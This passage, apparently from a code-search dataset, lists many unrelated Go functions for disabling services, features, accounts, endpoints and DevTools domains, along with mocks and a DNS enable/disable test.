!= nil {\n\t\t\treturn err\n\t\t}\n\n\t\tbuf, err := io.ReadAll(httpRsp.Body)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := unm.Unmarshal(buf, resp); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\treturn nil\n\t}, opts...)\n\tif e != nil {\n\t\treturn nil, e\n\t}\n\n\toverride := fmt.Sprintf(\"/v1/%s\", resp.GetName())\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, resp),\n\t\tpollPath: override,\n\t}, nil\n}", "func (m *MockmonitorInterface) DisableService(arg0 string) error {\n\tm.ctrl.T.Helper()\n\tret := m.ctrl.Call(m, \"DisableService\", arg0)\n\tret0, _ := ret[0].(error)\n\treturn ret0\n}", "func (o ServiceAccountOutput) Disabled() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v *ServiceAccount) pulumi.BoolOutput { return v.Disabled }).(pulumi.BoolOutput)\n}", "func (s SystemdInitSystem) DisableAndStopService() error {\n\tenabled, err := s.isEnabled()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error checking if etcd service is enabled: %w\", err)\n\t}\n\tif enabled {\n\t\tif err := s.disable(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tactive, err := s.IsActive()\n\tif err != nil {\n\t\treturn fmt.Errorf(\"error checking if etcd service is active: %w\", err)\n\t}\n\n\tif active {\n\t\tif err := s.stop(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\treturn nil\n}", "func (c *Client) DisableService(ctx context.Context, req *serviceusagepb.DisableServiceRequest, opts ...gax.CallOption) (*DisableServiceOperation, error) {\n\treturn c.internalClient.DisableService(ctx, req, opts...)\n}", "func (c *restClient) DisableServiceOperation(name string) *DisableServiceOperation {\n\toverride := fmt.Sprintf(\"/v1/%s\", name)\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t\tpollPath: override,\n\t}\n}", "func (b *Backend) Disable() {\n\tb.mu.Lock()\n\twhen := time.Now().Add(b.mu.disableDuration)\n\tb.mu.disabledUntil = when\n\tb.mu.Unlock()\n\tlog.Printf(\"disabling %s until %s\", b.addr, when)\n}", "func (actor Actor) DisableServiceForOrg(serviceName, orgName string) (Warnings, error) {\n\tservicePlans, allWarnings, err := actor.GetServicePlansForService(serviceName)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\torg, orgWarnings, err := actor.GetOrganizationByName(orgName)\n\tallWarnings = append(allWarnings, orgWarnings...)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\tfor _, plan := range servicePlans {\n\t\twarnings, err := actor.removeOrgLevelServicePlanVisibilities(plan.GUID, org.GUID)\n\t\tallWarnings = append(allWarnings, warnings...)\n\t\tif err != nil {\n\t\t\treturn allWarnings, err\n\t\t}\n\t}\n\treturn allWarnings, nil\n}", "func (actor Actor) DisableServiceForAllOrgs(serviceName string) (Warnings, error) {\n\tservicePlans, allWarnings, err := actor.GetServicePlansForService(serviceName)\n\tif err != nil {\n\t\treturn allWarnings, err\n\t}\n\n\tfor _, plan := range servicePlans {\n\t\twarnings, err := actor.removeOrgLevelServicePlanVisibilities(plan.GUID, \"\")\n\t\tallWarnings = append(allWarnings, warnings...)\n\t\tif err != nil {\n\t\t\treturn allWarnings, err\n\t\t}\n\t\tif plan.Public == true {\n\t\t\twarnings, err := actor.CloudControllerClient.UpdateServicePlan(plan.GUID, false)\n\t\t\tallWarnings = append(allWarnings, warnings...)\n\t\t\tif err != nil {\n\t\t\t\treturn allWarnings, err\n\t\t\t}\n\t\t}\n\t}\n\n\treturn allWarnings, nil\n}", "func (o LookupServiceAccountResultOutput) Disabled() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v LookupServiceAccountResult) bool { return v.Disabled }).(pulumi.BoolOutput)\n}", "func (o LookupServiceAccountResultOutput) Disabled() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v LookupServiceAccountResult) bool { return v.Disabled }).(pulumi.BoolOutput)\n}", "func (c *gRPCClient) DisableServiceOperation(name string) *DisableServiceOperation {\n\treturn &DisableServiceOperation{\n\t\tlro: longrunning.InternalNewOperation(*c.LROClient, &longrunningpb.Operation{Name: name}),\n\t}\n}", "func Disable(failpath string) error {\n\treturn failpoints.Disable(failpath)\n}", "func (ali *AttestationLocalInfra) Disable(ctx context.Context) error {\n\tvar lastErr error\n\tif ali.dbStashed {\n\t\tif err := ali.snapshot.Pop(hwsec.AttestationDBPath); err != nil {\n\t\t\ttesting.ContextLog(ctx, \"Failed to pop the snapshot of attestation database back: \", err)\n\t\t\tlastErr = errors.Wrap(err, \"failed to pop the snapshot of attestation database back\")\n\t\t}\n\t}\n\tif err := ali.injectNormalGoogleKeys(ctx); err != nil {\n\t\ttesting.ContextLog(ctx, \"Failed to inject the normal key back: \", err)\n\t\tlastErr = errors.Wrap(err, \"failed to inject the normal key back\")\n\t}\n\tif err := ali.disableFakePCAAgent(ctx); err != nil {\n\t\ttesting.ContextLog(ctx, \"Failed to disable fake pca agent: \", err)\n\t\tlastErr = errors.Wrap(err, \"failed to disable fake pca agent\")\n\t}\n\treturn lastErr\n}", "func Disable(client *golangsdk.ServiceClient, clusterId string) (r ErrorResult) {\n\t_, r.Err = client.Delete(disableURL(client, clusterId), nil)\n\treturn\n}", "func Disable() {\n\tEnable = false\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func Disable() *DisableParams {\n\treturn &DisableParams{}\n}", "func (o ContainerServiceOutput) IsDisabled() pulumi.BoolPtrOutput {\n\treturn o.ApplyT(func(v *ContainerService) pulumi.BoolPtrOutput { return v.IsDisabled }).(pulumi.BoolPtrOutput)\n}", "func (fps *Failpoints) Disable(failpath string) error {\n\tfps.mu.Lock()\n\tdefer fps.mu.Unlock()\n\n\tfp := fps.reg[failpath]\n\tif fp == nil {\n\t\treturn errors.Wrapf(ErrNotExist, \"error on %s\", failpath)\n\t}\n\tfp.Disable()\n\treturn nil\n}", "func (this *Deployment) prepareDisabledServices(e *Executor) error {\n\t// Disable `ondemand` power-saving service by unlinking it from /etc/rc*.d.\n\terr := e.BashCmd(`find ` + this.Application.RootFsDir() + `/etc/rc*.d/ -wholename '*/S*ondemand' -exec unlink {} \\;`)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Disable `ntpdate` client from being triggered when networking comes up.\n\terr = e.BashCmd(`chmod a-x ` + this.Application.RootFsDir() + `/etc/network/if-up.d/ntpdate`)\n\tif err != nil {\n\t\treturn err\n\t}\n\t// Disable auto-start for unnecessary services in /etc/init/*.conf, such as: SSH, rsyslog, cron, tty1-6, and udev.\n\tfor _, service := range []string{\"ssh\", \"rsyslog\", \"cron\", \"tty1\", \"tty2\", \"tty3\", \"tty4\", \"tty5\", \"tty6\", \"udev\"} {\n\t\terr = e.BashCmd(\"echo 'manual' > \" + this.Application.RootFsDir() + \"/etc/init/\" + service + \".override\")\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}", "func (k *kanaryServiceImpl) desactivateService(kclient client.Client, reqLogger logr.Logger, kd *kanaryv1alpha1.KanaryStatefulset, service *corev1.Service) (needsReturn bool, result reconcile.Result, err error) {\n\tvar requeue bool\n\t// in this case remove the pod from live traffic service.\n\tpods := &corev1.PodList{}\n\tselector := labels.Set{\n\t\tkanaryv1alpha1.KanaryStatefulsetKanaryNameLabelKey: kd.Name,\n\t}\n\n\tlistOptions := &client.ListOptions{\n\t\tLabelSelector: selector.AsSelector(),\n\t\tNamespace: kd.Namespace,\n\t}\n\terr = kclient.List(context.TODO(), listOptions, pods)\n\tif err != nil {\n\t\treqLogger.Error(err, \"failed to list Service\")\n\t\treturn true, reconcile.Result{Requeue: true}, err\n\t}\n\tvar errs []error\n\tfor _, pod := range pods.Items {\n\t\tupdatePod := pod.DeepCopy()\n\t\tif updatePod.Labels == nil {\n\t\t\tcontinue\n\t\t}\n\t\tfor key := range service.Spec.Selector {\n\t\t\tdelete(updatePod.Labels, key)\n\t\t}\n\t\tif reflect.DeepEqual(pod.Labels, updatePod.Labels) {\n\t\t\t// labels already configured properly\n\t\t\tcontinue\n\t\t}\n\t\trequeue = true\n\t\terr = kclient.Update(context.TODO(), updatePod)\n\t\tif err != nil {\n\t\t\terrs = append(errs, err)\n\t\t}\n\t}\n\n\treturn requeue, reconcile.Result{Requeue: requeue}, utilerrors.NewAggregate(errs)\n}", "func (r *ProjectsServiceAccountsService) Disable(name string, disableserviceaccountrequest *DisableServiceAccountRequest) *ProjectsServiceAccountsDisableCall {\n\tc := &ProjectsServiceAccountsDisableCall{s: r.s, urlParams_: make(gensupport.URLParams)}\n\tc.name = name\n\tc.disableserviceaccountrequest = disableserviceaccountrequest\n\treturn c\n}", "func (client ServicesClient) DisableTestEndpointResponder(resp *http.Response) (result autorest.Response, err error) {\n\terr = autorest.Respond(\n\t\tresp,\n\t\tazure.WithErrorUnlessStatusCode(http.StatusOK),\n\t\tautorest.ByClosing())\n\tresult.Response = resp\n\treturn\n}", "func (h *healthcheckManager) disable() {\n\th.lock.Lock()\n\tdefer h.lock.Unlock()\n\th.enabled = false\n}", "func (handler *ConsoleLogHandler) Disable() {\r\n atomic.StoreUint32(&handler.disabled, trueUint32)\r\n}", "func (c *Client) DisableServiceOperation(name string) *DisableServiceOperation {\n\treturn c.internalClient.DisableServiceOperation(name)\n}", "func (session *Session) PerformanceDisable() error {\n\t_, err := session.blockingSend(\"Performance.disable\", &Params{})\n\treturn err\n}", "func (r *UsersService) Disable(id string, userdisablerequest *UserDisableRequest) *UsersDisableCall {\n\tc := &UsersDisableCall{s: r.s, opt_: make(map[string]interface{})}\n\tc.id = id\n\tc.userdisablerequest = userdisablerequest\n\treturn c\n}", "func (m *MockProxyClient) ProxyDisable(ctx context.Context, in *ProxyDisableRequestMsg, opts ...grpc.CallOption) (*ProxyDisableResponseMsg, error) {\n\tvarargs := []interface{}{ctx, in}\n\tfor _, a := range opts {\n\t\tvarargs = append(varargs, a)\n\t}\n\tret := m.ctrl.Call(m, \"ProxyDisable\", varargs...)\n\tret0, _ := ret[0].(*ProxyDisableResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func (vr *VirtualResource) Disable(id string) error {\n\titem := VirtualServerConfig{Disabled: true}\n\tresp, err := vr.doRequest(\"PATCH\", id, item)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif err := vr.readError(resp); err != nil {\n\t\treturn err\n\t}\n\treturn nil\n}", "func (a *Agent) DisableServiceMaintenance(serviceID string) error {\n\tif _, ok := a.State.Services()[serviceID]; !ok {\n\t\treturn fmt.Errorf(\"No service registered with ID %q\", serviceID)\n\t}\n\n\t// Check if maintenance mode is enabled\n\tcheckID := serviceMaintCheckID(serviceID)\n\tif _, ok := a.State.Checks()[checkID]; !ok {\n\t\treturn nil\n\t}\n\n\t// Deregister the maintenance check\n\ta.RemoveCheck(checkID, true)\n\ta.logger.Printf(\"[INFO] agent: Service %q left maintenance mode\", serviceID)\n\n\treturn nil\n}", "func (c *Contextor) Disable() {\n\tatomic.StoreInt32(&c.enabled, 0)\n}", "func (c *MyPlugin) Disable() error {\n\treturn nil\n}", "func (srv *CentralSessionController) Disable(\n\tctx context.Context,\n\treq *fegprotos.DisableMessage,\n) (*orcprotos.Void, error) {\n\tif req == nil {\n\t\treturn nil, fmt.Errorf(\"Nil Disable Request\")\n\t}\n\tif !srv.cfg.DisableGx {\n\t\tsrv.policyClient.DisableConnections(time.Duration(req.DisablePeriodSecs) * time.Second)\n\t}\n\tif !srv.cfg.DisableGy {\n\t\tsrv.creditClient.DisableConnections(time.Duration(req.DisablePeriodSecs) * time.Second)\n\t}\n\treturn &orcprotos.Void{}, nil\n}", "func (_m *StoreUsecase) Disable(ctx context.Context, id string) error {\n\tret := _m.Called(ctx, id)\n\n\tvar r0 error\n\tif rf, ok := ret.Get(0).(func(context.Context, string) error); ok {\n\t\tr0 = rf(ctx, id)\n\t} else {\n\t\tr0 = ret.Error(0)\n\t}\n\n\treturn r0\n}", "func (task *Task) Disable() (bool, error) {\n\t// try to disable Task\n\tif task.State != statuses.TaskStateActive {\n\t\treturn false, nil\n\t}\n\tif task.IsExpired() {\n\t\treturn false, TaskIsExpiredError{TaskID: task.ID, PartnerID: task.PartnerID, ManagedEndpointID: task.ManagedEndpointID}\n\t}\n\ttask.State = statuses.TaskStateDisabled\n\treturn true, nil\n}", "func (g *Gate) Disable() {\n\tatomic.StoreInt64(&g.DisabledFlag, 1)\n}", "func (f *Feature) Disable() {\n\tf.val = false\n\tf.def = false\n\tdelete(features, f.name)\n}", "func (op *DisableServiceOperation) Poll(ctx context.Context, opts ...gax.CallOption) (*serviceusagepb.DisableServiceResponse, error) {\n\topts = append([]gax.CallOption{gax.WithPath(op.pollPath)}, opts...)\n\tvar resp serviceusagepb.DisableServiceResponse\n\tif err := op.lro.Poll(ctx, &resp, opts...); err != nil {\n\t\treturn nil, err\n\t}\n\tif !op.Done() {\n\t\treturn nil, nil\n\t}\n\treturn &resp, nil\n}", "func (d *Defects) Disable() {\n\tinstance.enabled = false\n}", "func (r *Service) waitForServiceEnabled(ctx context.Context, c *Client) error {\n\treturn dcl.Do(ctx, func(ctc context.Context) (*dcl.RetryDetails, error) {\n\t\tlist, err := c.ListService(ctx, *r.Project)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tif list.hasEnabled(*r.Name, c) {\n\t\t\treturn nil, nil\n\t\t}\n\t\tfor list.HasNext() {\n\t\t\terr = list.Next(ctx, c)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, err\n\t\t\t}\n\t\t\tif list.hasEnabled(*r.Name, c) {\n\t\t\t\treturn nil, nil\n\t\t\t}\n\t\t}\n\t\treturn &dcl.RetryDetails{}, dcl.OperationNotDone{}\n\t}, c.Config.RetryProvider)\n}", "func (doDebugger Debugger) Disable() (err error) {\n\tb := debugger.Disable()\n\treturn b.Do(doDebugger.ctxWithExecutor)\n}", "func (sys Systemd) StopAndDisable(unit string) error {\n\tns := fmt.Sprintf(\"project_%s_%s\", sys.p.ID, sys.kind)\n\ttarget := ns + \"_\" + unit\n\n\tif sys.s.Systemd.UseLegacy {\n\t\t// --now cannot be used with at least 215\n\t\tif err := exec.Command(\"systemctl\", \"stop\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to disable systemd unit %s: %s\", target, err)\n\t\t}\n\t\tif err := exec.Command(\"systemctl\", \"disable\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to disable systemd unit %s: %s\", target, err)\n\t\t}\n\t} else {\n\t\tif err := exec.Command(\"systemctl\", \"disable\", \"--now\", target).Run(); err != nil {\n\t\t\treturn fmt.Errorf(\"failed to stop+disable systemd unit %s: %s\", target, err)\n\t\t}\n\t}\n\treturn nil\n}", "func (protocol *ServiceWorkerProtocol) Disable() <-chan *worker.DisableResult {\n\tresultChan := make(chan *worker.DisableResult)\n\tcommand := NewCommand(protocol.Socket, \"ServiceWorker.disable\", nil)\n\tresult := &worker.DisableResult{}\n\n\tgo func() {\n\t\tresponse := <-protocol.Socket.SendCommand(command)\n\t\tif nil != response.Error && 0 != response.Error.Code {\n\t\t\tresult.Err = response.Error\n\t\t}\n\t\tresultChan <- result\n\t\tclose(resultChan)\n\t}()\n\n\treturn resultChan\n}", "func (v VsCode) Disable() error {\n\treturn v.setEnabled(false)\n}", "func (r Virtual_Guest_Network_Component) Disable() (resp bool, err error) {\n\terr = r.Session.DoRequest(\"SoftLayer_Virtual_Guest_Network_Component\", \"disable\", nil, &r.Options, &resp)\n\treturn\n}", "func (client ServicesClient) DisableTestEndpointSender(req *http.Request) (*http.Response, error) {\n\treturn client.Send(req, azure.DoRetryWithRegistration(client.Client))\n}", "func (p *Param) DisableAutomation() error {\n\treturn errors.New(\"Param.DisableAutomation() has not been implemented yet.\")\n}", "func Disable() {\n\tdebug = false\n}", "func (c *ChromeConsole) Disable() (*ChromeResponse, error) {\n\treturn sendDefaultRequest(c.target.sendCh, &ParamRequest{Id: c.target.getId(), Method: \"Console.disable\"})\n}", "func (s *SlackConfig) Disable() {\n\ts.Enabled = false\n}", "func disabledTestManual(t *testing.T) {\n\tzkCli, sm, logger, err := createSolrMonitor(t)\n\tif err != nil {\n\t\tt.Fatal(err)\n\t}\n\tdefer logger.AssertNoErrors(t)\n\tdefer zkCli.Close()\n\tdefer sm.Close()\n\n\ttime.Sleep(10 * time.Minute)\n}", "func (device *SilentStepperBrick) Disable() (err error) {\n\tvar buf bytes.Buffer\n\n\tresultBytes, err := device.device.Set(uint8(FunctionDisable), buf.Bytes())\n\tif err != nil {\n\t\treturn err\n\t}\n\tif len(resultBytes) > 0 {\n\t\tvar header PacketHeader\n\n\t\theader.FillFromBytes(resultBytes)\n\n\t\tif header.Length != 8 {\n\t\t\treturn fmt.Errorf(\"Received packet of unexpected size %d, instead of %d\", header.Length, 8)\n\t\t}\n\n\t\tif header.ErrorCode != 0 {\n\t\t\treturn DeviceError(header.ErrorCode)\n\t\t}\n\n\t\tbytes.NewBuffer(resultBytes[8:])\n\n\t}\n\n\treturn nil\n}", "func (s *Service) DisableAuth() {\n\ts.enableAuth = false\n}", "func (r *Rkt) Disable() error {\n\terr := r.Runner.Run(\"sudo systemctl stop rkt-api\")\n\tif err == nil {\n\t\terr = r.Runner.Run(\"sudo systemctl stop rkt-metadata\")\n\t}\n\treturn err\n}", "func IsEndpointDisabled(err error) bool {\n\treturn unwrapError(err) == ErrEndpointDisabled\n}", "func SetDisabled() {\n\tsetDisabled()\n}", "func (t *timer) disable() {\n\tif t.state != timerStateDisabled {\n\t\tt.state = timerStateOrphaned\n\t}\n}", "func (bw *bufferedResponseWriter) Disable() {\n\tbw.disabled = true\n}", "func (r *Service) waitForServiceEnabled(ctx context.Context, c *Client) error {\n\tfor {\n\t\tlist, err := c.ListService(ctx, *r.Project)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif list.contains(*r.Name) {\n\t\t\treturn nil\n\t\t}\n\t\tfor list.HasNext() {\n\t\t\terr = list.Next(ctx, c)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tif list.contains(*r.Name) {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t\ttime.Sleep(time.Second)\n\t}\n}", "func (o *opHistory) Disable() {\n\to.enable = false\n}", "func (client ServicesClient) DisableTestEndpoint(ctx context.Context, resourceGroupName string, serviceName string) (result autorest.Response, err error) {\n\tif tracing.IsEnabled() {\n\t\tctx = tracing.StartSpan(ctx, fqdn+\"/ServicesClient.DisableTestEndpoint\")\n\t\tdefer func() {\n\t\t\tsc := -1\n\t\t\tif result.Response != nil {\n\t\t\t\tsc = result.Response.StatusCode\n\t\t\t}\n\t\t\ttracing.EndSpan(ctx, sc, err)\n\t\t}()\n\t}\n\treq, err := client.DisableTestEndpointPreparer(ctx, resourceGroupName, serviceName)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", nil, \"Failure preparing request\")\n\t\treturn\n\t}\n\n\tresp, err := client.DisableTestEndpointSender(req)\n\tif err != nil {\n\t\tresult.Response = resp\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", resp, \"Failure sending request\")\n\t\treturn\n\t}\n\n\tresult, err = client.DisableTestEndpointResponder(resp)\n\tif err != nil {\n\t\terr = autorest.NewErrorWithError(err, \"appplatform.ServicesClient\", \"DisableTestEndpoint\", resp, \"Failure responding to request\")\n\t\treturn\n\t}\n\n\treturn\n}", "func (pm *Manager) Disable(name string) error {\n\tp, err := pm.get(name)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn pm.disable(p)\n}", "func (i *ServiceInitializer) StopService(s turbo.Servable) {\n}", "func (t *target) disable(msg string) {\n\tt.regstate.mu.Lock()\n\n\tif t.regstate.disabled.Load() {\n\t\tt.regstate.mu.Unlock()\n\t\treturn // nothing to do\n\t}\n\tif err := t.unregisterSelf(false); err != nil {\n\t\tt.regstate.mu.Unlock()\n\t\tnlog.Errorf(\"%s but failed to remove self from Smap: %v\", msg, err)\n\t\treturn\n\t}\n\tt.regstate.disabled.Store(true)\n\tt.regstate.mu.Unlock()\n\tnlog.Errorf(\"Warning: %s => disabled and removed self from Smap\", msg)\n}", "func TestEnableDisableDNS(t *testing.T) {\n\t// Prepare different cases\n\tcases := []struct {\n\t\tName string\n\t\tTestEnable bool\n\t\tFailInVPP bool\n\t\tExpectFailure bool\n\t\tExpected govppapi.Message\n\t}{\n\t\t{\n\t\t\tName: \"successful enabling of DNS\",\n\t\t\tTestEnable: true,\n\t\t\tExpected: &dns.DNSEnableDisable{\n\t\t\t\tEnable: 1,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName: \"enable failure\",\n\t\t\tTestEnable: true,\n\t\t\tFailInVPP: true,\n\t\t\tExpectFailure: true,\n\t\t},\n\t\t{\n\t\t\tName: \"successful disabling of DNS\",\n\t\t\tTestEnable: false,\n\t\t\tExpected: &dns.DNSEnableDisable{\n\t\t\t\tEnable: 0,\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tName: \"disable failure\",\n\t\t\tTestEnable: false,\n\t\t\tFailInVPP: true,\n\t\t\tExpectFailure: true,\n\t\t},\n\t}\n\n\t// Run all cases\n\tfor _, td := range cases {\n\t\tt.Run(td.Name, func(t *testing.T) {\n\t\t\tctx, vppCalls := setup(t)\n\t\t\tdefer teardown(ctx)\n\t\t\t// prepare reply\n\t\t\tif td.FailInVPP {\n\t\t\t\tctx.MockVpp.MockReply(&dns.DNSEnableDisableReply{Retval: 1})\n\t\t\t} else {\n\t\t\t\tctx.MockVpp.MockReply(&dns.DNSEnableDisableReply{})\n\t\t\t}\n\n\t\t\t// make the call\n\t\t\tvar err error\n\t\t\tif td.TestEnable {\n\t\t\t\terr = vppCalls.EnableDNS()\n\t\t\t} else {\n\t\t\t\terr = vppCalls.DisableDNS()\n\t\t\t}\n\n\t\t\t// verify result\n\t\t\tif td.ExpectFailure {\n\t\t\t\tExpect(err).Should(HaveOccurred())\n\t\t\t} else {\n\t\t\t\tExpect(err).ShouldNot(HaveOccurred())\n\t\t\t\tExpect(ctx.MockChannel.Msg).To(Equal(td.Expected))\n\t\t\t}\n\t\t})\n\t}\n}", "func (c *ChromeInspector) Disable() (*ChromeResponse, error) {\n\treturn sendDefaultRequest(c.target.sendCh, &ParamRequest{Id: c.target.getId(), Method: \"Inspector.disable\"})\n}", "func (o FirewallPolicyRuleResponseOutput) Disabled() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v FirewallPolicyRuleResponse) bool { return v.Disabled }).(pulumi.BoolOutput)\n}", "func (s *Synchronizer) Disable(until time.Time, reason bleemeoTypes.DisableReason) {\n\ts.l.Lock()\n\tdefer s.l.Unlock()\n\n\tif s.disabledUntil.Before(until) {\n\t\ts.disabledUntil = until\n\t\ts.disableReason = reason\n\t}\n}", "func (a LogDeliveryAPI) Disable(accountID, configID string) error {\n\treturn a.client.Patch(fmt.Sprintf(\"/accounts/%s/log-delivery/%s\", accountID, configID), map[string]string{\n\t\t\"status\": \"DISABLED\",\n\t})\n}", "func DeregisterService(ag *api.Agent, service string) {\n\t_ = ag.ServiceDeregister(service)\n\n}", "func (throttler *Throttler) Disable(ctx context.Context) bool {\n\tthrottler.enableMutex.Lock()\n\tdefer throttler.enableMutex.Unlock()\n\n\tisEnabled := throttler.isEnabled.Swap(false)\n\tif !isEnabled {\n\t\tlog.Infof(\"Throttler: already disabled\")\n\t\treturn false\n\t}\n\tlog.Infof(\"Throttler: disabling\")\n\t// _ = throttler.updateConfig(ctx, false, throttler.MetricsThreshold.Get()) // TODO(shlomi)\n\tthrottler.aggregatedMetrics.Flush()\n\tthrottler.recentApps.Flush()\n\tthrottler.nonLowPriorityAppRequestsThrottled.Flush()\n\t// we do not flush throttler.throttledApps because this is data submitted by the user; the user expects the data to survive a disable+enable\n\n\tthrottler.cancelEnableContext()\n\treturn true\n}", "func (r *apiRegister) DeleteService(svc *register.Service) error {\n\treturn fmt.Errorf(\"Not Implemented\")\n}", "func (mr *MockapprunnerDescriberMockRecorder) Service() *gomock.Call {\n\tmr.mock.ctrl.T.Helper()\n\treturn mr.mock.ctrl.RecordCallWithMethodType(mr.mock, \"Service\", reflect.TypeOf((*MockapprunnerDescriber)(nil).Service))\n}", "func (c *DeviceAccess) Disable(ctx context.Context) (*gcdmessage.ChromeResponse, error) {\n\treturn c.target.SendDefaultRequest(ctx, &gcdmessage.ParamRequest{Id: c.target.GetId(), Method: \"DeviceAccess.disable\"})\n}", "func (op *DisableServiceOperation) Done() bool {\n\treturn op.lro.Done()\n}", "func (r *experimentalRoute) Disable() {\n\tr.handler = experimentalHandler\n}", "func (m *MockProxyServer) ProxyDisable(arg0 context.Context, arg1 *ProxyDisableRequestMsg) (*ProxyDisableResponseMsg, error) {\n\tret := m.ctrl.Call(m, \"ProxyDisable\", arg0, arg1)\n\tret0, _ := ret[0].(*ProxyDisableResponseMsg)\n\tret1, _ := ret[1].(error)\n\treturn ret0, ret1\n}", "func DisableAction(c *gcli.Context) {\n\tval, _ := getVal(\"type\", c)\n\tswitch val {\n\tcase \"policy\":\n\t\tcli, err := NewPolicyClient(c)\n\t\tif err != nil {\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\treq := policy.DisablePolicyRequest{}\n\t\tif val, success := getVal(\"id\", c); success {\n\t\t\treq.Id = val\n\t\t}\n\t\tif val, success := getVal(\"teamId\", c); success {\n\t\t\treq.TeamId = val\n\t\t}\n\t\tif val, success := getVal(\"policyType\", c); success {\n\t\t\treq.Type = policy.PolicyType(val)\n\t\t}\n\t\tprintMessage(DEBUG,\"Disable policy request prepared from flags, sending request to Opsgenie..\")\n\t\t_, err = cli.DisablePolicy(nil, &req)\n\t\tif err != nil {\n\t\t\tprintMessage(ERROR, err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t\tprintMessage(INFO, \"Policy disabled successfuly\")\n\n\tcase \"integration\":\n\t\tcli, err := NewIntegrationClient(c)\n\t\tif err != nil {\n\t\t\tos.Exit(1)\n\t\t}\n\n\t\treq := integration.DisableIntegrationRequest{}\n\t\tif val, success := getVal(\"id\", c); success {\n\t\t\treq.Id = val\n\t\t}\n\t\tprintMessage(DEBUG,\"Disable integration request prepared from flags, sending request to Opsgenie..\")\n\t\t_, err = cli.Disable(nil, &req)\n\t\tif err != nil {\n\t\t\tprintMessage(ERROR,err.Error())\n\t\t\tos.Exit(1)\n\t\t}\n\t\tprintMessage(INFO,\"Integration disabled successfuly\")\n\tdefault:\n\t\tprintMessage(ERROR,\"Invalid type option \" + val + \", specify either integration or policy\")\n\t\tgcli.ShowCommandHelp(c, \"disable\")\n\t\tos.Exit(1)\n\t}\n}", "func (c *Debugger) Disable() (*gcdmessage.ChromeResponse, error) {\n\treturn gcdmessage.SendDefaultRequest(c.target, c.target.GetSendCh(), &gcdmessage.ParamRequest{Id: c.target.GetId(), Method: \"Debugger.disable\"})\n}", "func (c *DOM) Disable() (*gcdmessage.ChromeResponse, error) {\n\treturn gcdmessage.SendDefaultRequest(c.target, c.target.GetSendCh(), &gcdmessage.ParamRequest{Id: c.target.GetId(), Method: \"DOM.disable\"})\n}", "func (client ConsoleClient) DisableConsoleResponder(resp *http.Response) (result SetDisabledResult, err error) {\n\terr = autorest.Respond(\n\t\tresp,\n\t\tclient.ByInspecting(),\n\t\tazure.WithErrorUnlessStatusCode(http.StatusOK),\n\t\tautorest.ByUnmarshallingJSON(&result),\n\t\tautorest.ByClosing())\n\tresult.Response = autorest.Response{Response: resp}\n\treturn\n}", "func (o UsageRuleResponseOutput) SkipServiceControl() pulumi.BoolOutput {\n\treturn o.ApplyT(func(v UsageRuleResponse) bool { return v.SkipServiceControl }).(pulumi.BoolOutput)\n}", "func EventSAReflectionDisabledMsg() string {\n\treturn fmt.Sprintf(\"Reflection to cluster %q disabled for secrets holding service account tokens\", RemoteCluster.ClusterName)\n}", "func (s *service) DisableCLAService(ctx context.Context, authUser *auth.User, claGroupID string, projectSFIDList []string) error {\n\tf := logrus.Fields{\n\t\t\"functionName\": \"DisableCLAService\",\n\t\tutils.XREQUESTID: ctx.Value(utils.XREQUESTID),\n\t\t\"authUserName\": authUser.UserName,\n\t\t\"authUserEmail\": authUser.Email,\n\t\t\"projectSFIDList\": strings.Join(projectSFIDList, \",\"),\n\t\t\"claGroupID\": claGroupID,\n\t}\n\n\t// Run this in parallel...\n\tvar errorList []error\n\tvar wg sync.WaitGroup\n\twg.Add(len(projectSFIDList))\n\tpsc := v2ProjectService.GetClient()\n\n\tfor _, projectSFID := range projectSFIDList {\n\t\t// Execute as a go routine\n\t\tgo func(psClient *v2ProjectService.Client, claGroupID, projectSFID string) {\n\t\t\tdefer wg.Done()\n\t\t\tlog.WithFields(f).Debugf(\"disabling CLA service for project: %s\", projectSFID)\n\t\t\tdisableProjectErr := psClient.DisableCLA(ctx, projectSFID)\n\t\t\tif disableProjectErr != nil {\n\t\t\t\tlog.WithFields(f).WithError(disableProjectErr).\n\t\t\t\t\tWarnf(\"unable to disable CLA service for project: %s, error: %+v\", projectSFID, disableProjectErr)\n\t\t\t\terrorList = append(errorList, disableProjectErr)\n\t\t\t} else {\n\t\t\t\tlog.WithFields(f).Debugf(\"disabled CLA service for project: %s\", projectSFID)\n\t\t\t\t// add event log 